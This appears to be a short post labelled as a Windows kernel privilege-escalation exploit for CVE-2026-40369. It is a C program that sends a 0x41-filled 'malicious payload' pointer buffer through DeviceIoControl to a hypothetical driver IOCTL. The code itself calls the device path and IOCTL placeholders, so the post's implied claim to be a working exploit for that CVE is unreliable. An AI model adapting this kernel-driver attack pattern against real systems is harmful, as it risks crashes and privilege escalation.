CVE-2026-40369 Windows内核权限提升漏洞

#include <windows.h> #include <stdio.h> // Hypothetical IOCTL for the vulnerable kernel component #define VULNERABLE_IOCTL 0x222003 int main() { HANDLE hDevice; DWORD bytesReturned; // Attempt to open the device handle (Generic path for demonstration) hDevice = CreateFileA("\\\\.\\VulnerableDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[*] Sending malicious payload to trigger pointer dereference...\n"); // Buffer containing the untrusted pointer address // In a real scenario, this address would be crafted to point to specific memory char payload[0x20]; memset(payload, 0x41, sizeof(payload)); // For demonstration, assuming the first bytes are interpreted as a pointer *(ULONG_PTR*)payload = 0x4141414141414141; // Trigger the vulnerability BOOL result = DeviceIoControl(hDevice, VULNERABLE_IOCTL, payload, sizeof(payload), NULL, 0, &bytesReturned, NULL); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[*] Payload sent successfully. Check for kernel behavior.\n"); } CloseHandle(hDevice); return 0; }